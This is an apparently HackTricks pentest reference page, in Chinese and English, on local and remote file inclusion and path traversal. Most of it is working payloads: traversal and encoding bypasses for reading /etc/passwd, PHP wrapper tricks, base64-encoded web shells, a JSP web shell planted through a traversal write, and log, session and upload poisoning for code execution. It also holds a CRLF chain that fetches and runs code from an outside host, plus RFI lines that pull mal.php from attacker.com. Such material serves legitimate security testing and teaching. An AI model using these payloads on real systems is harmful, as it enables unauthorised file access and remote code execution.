File Inclusion/Path traversal

Reading time: 36 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

File Inclusion

Remote File Inclusion (RFI): 该文件从远程服务器加载(最佳情况:你可以写入代码,服务器会执行它)。在 php 中,该选项默认被 禁用allow_url_include)。
Local File Inclusion (LFI): 服务器加载本地文件。

当用户以某种方式能够控制将被服务器加载的文件时,就会出现该漏洞。

易受攻击的 PHP 函数: require, require_once, include, include_once

利用该漏洞的一个有趣工具: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

我混合了多个 *nix LFI 列表并添加了更多路径,创建了这个:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to add ../../../../../

可以在这里找到一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表

Windows

不同 wordlists 的合并:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to remove C:/ and add ../../../../../

可以在这里找到一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表

OS X

查看 linux 的 LFI 列表。

基本的 LFI 及绕过方法

所有示例均针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass 在提供的字符串末尾追加更多字符 (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

这在 PHP 5.4 之后已解决

编码

你可以使用非标准编码,比如 double URL encode(以及其他):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

从现有文件夹

可能后端正在检查文件夹路径:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

在服务器上探索文件系统目录

可以通过某些技术递归地探索服务器的文件系统来识别目录,而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹是否存在。下面是实现该目标的详细方法:

  1. 确定目录深度: 通过成功获取 /etc/passwd 文件来确定当前目录的深度(如果服务器基于 Linux,则适用)。例如,一个 URL 可能如下所示,表示深度为三:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 探测文件夹: 在 URL 后追加疑似文件夹名(例如,private),然后导航回 /etc/passwd。额外的目录层级需要将深度增加一层:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 解释结果: 服务器的响应表明该文件夹是否存在:
  • Error / No Output: 指定位置很可能不存在 private 文件夹。
  • Contents of /etc/passwd 确认存在 private 文件夹。
  1. 递归探索: 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法,进一步探测其子目录或文件。

要在文件系统的不同位置探索目录,请相应调整 payload。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),请使用:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation 是一种用于操纵 web 应用中文件路径的方法。它常被用来通过绕过那些在文件路径末尾追加额外字符的安全措施以访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向目标文件。

In PHP 中,由于文件系统的特性,同一路径可以有多种表示方式被视为等价。例如:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ 都被视为相同的路径。
  • 当最后 6 个字符是 passwd 时,追加一个 /(变成 passwd/)不会改变目标文件。
  • 类似地,如果在文件路径末尾附加了 .php(例如 shellcode.php),在末尾加上 /. 不会改变被访问的文件。

下面的示例演示了如何利用 path truncation 访问 /etc/passwd,这是一个常见目标,因为它包含敏感内容(用户账户信息):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

在这些场景中,所需的 traversals 数量可能约为 2027,但该数量会根据服务器的配置而变化。

  • Using Dot Segments and Additional Characters: Traversal sequences (../) 与额外的点段和字符组合,可用于在文件系统中导航,从而使服务器追加的字符串被有效忽略。
  • Determining the Required Number of Traversals: 通过反复试验,可以找到导航到根目录再到 /etc/passwd 所需的精确 ../ 序列数,确保任何被追加的字符串(例如 .php)被中和,同时目标路径 (/etc/passwd) 保持完整。
  • Starting with a Fake Directory: 常见做法是以一个不存在的目录(例如 a/)开始路径。此方法用作预防措施或用于满足服务器路径解析逻辑的要求。

When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. 每种情形可能需要不同的方法,通常需要通过测试来找到最有效的方式。

此漏洞已在 PHP 5.3 中修复。

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

在 php 中此功能默认被禁用,因为 allow_url_includeOff. 要使其工作必须设置为 On,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果因为某些原因 allow_url_includeOn,但 PHP 正在 filtering 对外部网页的访问, according to this post,你可以例如使用 data 协议 搭配 base64 来解码 b64 PHP 代码并获得 RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

在之前的代码中,末尾的 +.txt 是添加进去的,因为攻击者需要一个以 .txt 结尾的字符串,所以字符串以它结束,且在 b64 decode 之后,那部分将只返回垃圾数据,而真正的 PHP 代码会被包含(因此被执行)。

另一个不使用 php:// 协议的示例为:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 根元素

在 python 中,在像下面这样的代码中:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

如果用户将绝对路径传递给**file_name,则先前的路径会被移除**:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

根据 the docs,这是预期的行为:

如果某个组件是绝对路径,则之前的所有组件都会被丢弃,并从该绝对路径组件继续进行连接。

Java 列出目录

看起来,如果在 Java 中存在 Path Traversal 并且你 请求一个目录 而不是文件,将返回该目录的列表。这在其他语言中不会发生(afaik)。

前 25 个参数

下面是可能容易受到 local file inclusion (LFI) 漏洞影响的前 25 个参数列表(来自 link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 从数据中移除标签(位于 "<" 与 ">" 字符之间的所有内容)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 将数据转换为不同编码(convert.iconv.<input_enc>.<output_enc>)。要获取 所有支持的编码列表,请在控制台运行:iconv -l

warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : 已弃用
  • mdecrypt.* : 已弃用
  • Other Filters
  • Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

部分 "php://filter" 不区分大小写

使用 php filters 作为 oracle 来读取任意文件

In this post 提出了一种技术,可以在服务器不返回输出的情况下读取本地文件。该技术基于 boolean exfiltration of the file (char by char) using php filters 作为 oracle。这是因为 php filters 可以用来把文本放大到足以让 php 抛出异常的程度。

在原文中你可以找到该技术的详细解释,但这里给出快速总结:

  • 使用 codec UCS-4LE 将文本的首字符保留在开头,并使字符串大小呈指数增长。
  • 这将被用来生成一个 在首字母被正确猜出时变得非常大的文本,以致于 php 会触发一个 error
  • dechunk filter 会在 首字符不是十六进制时删除所有内容,因此我们可以判断首字符是否为十六进制。
  • 这与之前的方法结合(以及根据猜测字母使用的其他 filters)将允许我们通过观察在经过足够的变换后何时使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始“炸弹”会使 php 报错。
  • codec convert.iconv.UNICODE.CP930 会将每个字母转换为后继字母(因此经过此 codec:a -> b)。这使我们能够判断首字母是否为 a,例如如果我们应用 6 次此 codec:a->b->c->d->e->f->g,该字母就不再是十六进制字符,因此 dechunk 不会删除它,且由于与初始“炸弹”相乘,会触发 php 错误。
  • 在开头使用像 rot13 这样的其它变换可以 leak 其他字符,例如 n, o, p, q, r(也可以使用其他 codecs 将其他字母移到 hex 范围)。
  • 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母以 leak 该数字。
  • 最终的问题是如何 leak 超过首字母的内容。通过使用顺序内存 filters,比如 convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE,可以改变字符的顺序并将文本中的其他字母移到第一位。
  • 为了能够获取 进一步的数据,思路是用 convert.iconv.UTF16.UTF16 在开头 生成 2 字节的垃圾数据,应用 UCS-4LE 使其 与接下来的 2 个字节发生枢轴(pivot),并 删除数据直到垃圾数据(这将移除初始文本的前 2 个字节)。继续这样操作直到达到想要 leak 的位。

文章中还提供了一个用于自动执行该操作的工具:php_filters_chain_oracle_exploit

php://fd

这个 wrapper 允许访问进程已打开的文件描述符。可能有助于 exfiltrate 已打开文件的内容:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdout and php://stderr 来分别访问 文件描述符 0、1 和 2(不确定这在攻击中有何用处)

zip:// and rar://

上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.
要想滥用 rar 协议,必须专门启用它。

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

注意该协议受 php 配置 allow_url_openallow_url_include 的限制

expect://

Expect 必须被激活。你可以使用它来执行代码:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

在 POST 参数中指定你的 payload:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

当 Web 应用使用诸如 include 等函数加载文件时,可以利用 .phar 文件来执行 PHP 代码。下面的 PHP 代码片段演示了 .phar 文件的创建:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

要编译 .phar 文件,应执行以下命令:

bash
php --define phar.readonly=0 create_path.php

执行后,会创建一个名为 test.phar 的文件,可能被用来利用 Local File Inclusion (LFI) 漏洞。

如果 LFI 仅通过 file_get_contents()fopen()file()file_exists()md5_file()filemtime()filesize() 等函数执行文件读取而不执行其中的 PHP 代码,那么可以尝试利用一个与使用 phar 协议读取文件相关的反序列化漏洞。

要详细了解在 .phar 文件上下文中利用反序列化漏洞,请参阅下面链接的文档:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

可以滥用 any arbitrary file read from PHP that supports php filters 来获得 RCE。详细描述可以 found in this post
快速总结:在 PHP heap 中滥用一个 3 byte overflowalter the chain of free chunks(改变特定大小的空闲块链),以便能够 write anything in any address,因此添加了一个钩子来调用 system
可以通过更多 php filters 分配特定大小的 chunks。

More protocols

查看更多可能的 protocols to include here

  • php://memory and php://temp — 在内存或临时文件中写入(不确定在 file inclusion 攻击中如何有用)
  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) URL
  • ftp:// — 访问 FTP(s) URL
  • zlib:// — 压缩流
  • glob:// — 查找匹配模式的路径名(它不会返回任何可打印内容,所以在这里不太有用)
  • ssh2:// — Secure Shell 2
  • ogg:// — 音频流(不适合读取任意文件)

LFI via PHP's 'assert'

在 PHP 中,当涉及 'assert' 函数时,Local File Inclusion (LFI) 的风险尤其高,因为该函数可以执行字符串中的代码。如果对包含目录遍历字符(如 "..")的输入只做了检查但没有正确地清理,就尤其成问题。

例如,PHP 代码可能像下面这样设计来防止目录遍历:

bash
assert("strpos('$file', '..') === false") or die("");

虽然这旨在阻止目录遍历,但却无意中为代码注入创造了一个向量。要利用这一点来读取文件内容,攻击者可以使用:

plaintext
' and die(highlight_file('/etc/passwd')) or '

类似地,为了执行任意系统命令,可以使用:

plaintext
' and die(system("id")) or '

重要:URL-encode these payloads

PHP Blind Path Traversal

warning

该技术适用于你可以控制将由PHP 函数用于访问文件文件路径的情况,但你无法看到该文件的内容(例如对 file() 的简单调用),且内容不会被显示。

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

总结:该技术利用 "UCS-4LE" encoding 将文件内容变得非常,以至于打开该文件的 PHP 函数会触发一个error

接着,为了泄露第一个字符,使用了过滤器 dechunk,并配合诸如 base64rot13 等,最后使用过滤器 convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE 来将其他字符放在开头并 leak 它们。

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

当服务器端用于摄取/上传文件的代码在构建目标路径时使用了用户可控的数据(例如 filename 或 URL),但没有进行规范化和校验,.. 段和绝对路径就可能逃出预期目录并导致任意文件写入。如果你能把 payload 放到对外暴露的 web 目录下,通常通过丢弃一个 webshell 就可以获得未认证的 RCE。

Typical exploitation workflow:

  • 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受一个 path/filename 并将内容写入磁盘(例如:消息驱动的摄取、XML/JSON 命令处理器、ZIP 解压器等)。
  • 确定对外暴露的 web 目录。常见示例:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 构造一个遍历路径,使其从预期的存储目录跳出到 webroot,并包含你的 webshell 内容。
  • 访问被写入的 payload 并执行命令。

Notes:

  • 执行写入操作的易受攻击服务可能监听的是非 HTTP 端口(例如在 TCP 4004 上的 JMF XML 监听器)。主 web 门户(不同端口)随后会提供你的 payload。
  • 在 Java 技术栈中,这些文件写入常常通过简单的 File/Paths 字符串拼接实现。缺乏规范化/允许列表是核心缺陷。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

硬化建议(可防止此类漏洞):

  • 将路径解析为 canonical path,并强制其为 allow-listed 基目录的子孙路径。
  • 拒绝任何包含 ..、absolute roots 或 drive letters 的路径;优先使用生成的文件名。
  • 以低权限账户运行写入进程,并将写入目录与对外提供的根目录隔离。

Remote File Inclusion

此前已解释,follow this link

通过 Apache/Nginx 日志文件

如果 Apache 或 Nginx 服务器在 include 函数中存在 LFI 漏洞,你可以尝试访问 /var/log/apache2/access.log/var/log/nginx/access.log,在 user agentGET parameter 中放置一个 php shell,比如 <?php system($_GET['c']); ?>,然后 include 该文件

warning

注意 如果你对 shell 使用双引号而不是 单引号,双引号会被替换为字符串 "quote;",PHP 将抛出错误,并且不会执行其他任何内容

另外,确保你正确地编写 payload,否则每次尝试加载日志文件时 PHP 都会出错,你将不会有第二次机会。

这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 authorisation "basic" 包含以 Base64 编码的 "user:password",并在日志中被解码。PHPShell 可以插入到该头部中。
其他可能的日志路径:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

通过 电子邮件

发送邮件 到一个内部账号 (user@localhost),邮件中包含你的 PHP payload,比如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试通过像 /var/mail/<USERNAME>/var/spool/mail/<USERNAME> 这样的路径来 include 用户的邮件。

通过 /proc//fd/

  1. 上传大量 shells(例如:100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID(可以通过暴力猜测),$FD 是文件描述符(也可以暴力猜测)

通过 /proc/self/environ

类似日志文件,把 payload 放在 User-Agent 中发送,它会反映到 /proc/self/environ 文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传

如果你可以上传文件,只需将 shell payload 注入其中(例如:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件可读,最好将其注入到图片/doc/pdf 的元数据中

通过 Zip 文件上传

上传一个包含 PHP shell 的 ZIP 文件并访问:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 PHP 会话

检查网站是否使用 PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在 PHP 中,这些 sessions 存储在 /var/lib/php5/sess\[PHPSESSID]_ files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将 cookie 设置为 <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用 LFI 包含 PHP session 文件

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过 ssh

如果 ssh 活动,检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 <HOME>/.ssh/id_rsa

通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。如果存在 Local File Inclusion (LFI) 漏洞,并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:

  1. 在登录过程中向用户名字段注入 PHP payload。
  2. 注入后,利用 LFI 来检索服务器日志,路径为 /var/log/vsftpd.log

通过 php base64 filter (使用 base64)

this 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用该特性绕过文件扩展名检查:如果你提供的 base64 以 ".php" 结尾,它会忽略 "." 并将 "php" 追加到 base64 的结尾。下面是一个示例 payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

通过 php filters(不需要文件)

这个 writeup 解释了你可以使用 php filters to generate arbitrary content 作为输出。这基本上意味着你可以为 include generate arbitrary php code无需将其写入文件。

LFI2RCE via PHP Filters

通过 segmentation fault

上传一个会被存储为临时文件在 /tmp 的文件,然后在同一次请求中触发一个 segmentation fault,这样临时文件就不会被删除,你可以去查找它。

LFI2RCE via Segmentation Fault

通过 Nginx 临时文件存储

如果你发现了一个 Local File InclusionNginx 在 PHP 前面运行,你可能能够使用以下技术获得 RCE:

LFI2RCE via Nginx temp files

通过 PHP_SESSION_UPLOAD_PROGRESS

如果你发现了一个 Local File Inclusion,即使你没有 sessionsession.auto_startOff。如果你在 multipart POST 数据中提供 PHP_SESSION_UPLOAD_PROGRESS,PHP 会为你启用 session。你可以滥用这一点来获得 RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

通过 Windows 的临时文件上传

如果你发现了一个 Local File Inclusion 且服务器运行在 Windows,你可能会得到 RCE:

LFI2RCE Via temp file uploads

通过 pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

下面利用一个 CRLF vuln 来获取 RCE (来自 here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

通过 phpinfo() (file_uploads = on)

如果你发现了 Local File Inclusion 并且有一个暴露 phpinfo() 且 file_uploads = on 的文件,你可以得到 RCE:

LFI2RCE via phpinfo()

通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

如果你发现了 Local File Inclusion 并且你可以 exfiltrate the path 临时文件的路径,但 server 正在检查要包含的文件是否有 PHP 标记,你可以尝试用这个 Race Condition绕过该检查

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

通过 eternal waiting + bruteforce

如果你能滥用 LFI 来 upload temporary files 并使服务器让 PHP 执行 hang,你就可以在数小时内 brute force filenames 来找到临时文件:

LFI2RCE via Eternal waiting

导致 Fatal Error

如果你包含以下任意文件 /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar。(你需要包含相同的那个两次以抛出该错误)。

I don't know how is this useful but it might be.
即使你导致 PHP Fatal Error,PHP 上传的临时文件也会被删除.

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks